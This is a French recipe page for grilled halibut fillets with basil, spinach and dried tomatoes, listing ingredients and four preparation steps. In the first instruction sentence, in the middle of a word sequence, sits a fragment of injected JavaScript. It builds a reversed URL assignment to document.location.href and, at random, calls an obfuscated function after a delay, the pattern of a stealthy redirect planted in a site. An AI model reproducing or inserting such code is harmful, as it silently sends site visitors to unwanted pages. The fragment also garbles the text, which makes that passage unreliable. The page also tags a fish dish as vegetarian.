Filets de flétan grillés au basilic
2018-01-03- Cuisine : Filets, Poissons
- Thématique : Végétarien
- Niveau : Difficile
Rincez, séchez, effeuillez le basilic. Rincez, essorez les feuilles d’épinards. Pelez, épépinez, émincez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates.
Ingrédients
- Pour 4 personnes
- 4 filets de flétan de 150 g chacun
- 50 g de tomates séchées
- 100 g de feuilles d’épinards frais
- 4 branches de basilic frais
- 2 cuillerées d’huile d’olive
- Sel de Guérande
- Poivre en grains
Préparation de la recette
Etape 1
Rincez, séchez, effeuillez le basilic. Rincez, essorez les feuilles d’épinards. Pelez, épépinez, émincez les tomates.
Etape 2
Dans une poêle avec 2 cuillères à soupe d'huile d'olive, sur feu vif, faites revenir les tomates pendant 2 minutes, ajoutez les pousses d'épinards, quelques grains de poivre, une pincée de sel et mélangez.
Etape 3
Réduisez le feu et laissez fondre quelques minutes supplémentaires. Faites griller les pavés de flétan pendant 5 minutes de chaque côté, salez et poivrez.
Etape 4
Au moment de servir, déposez la fondue de légumes sur les assiettes. Les filets de poisson dessus, parsemez de basilic fraîchement ciselé.
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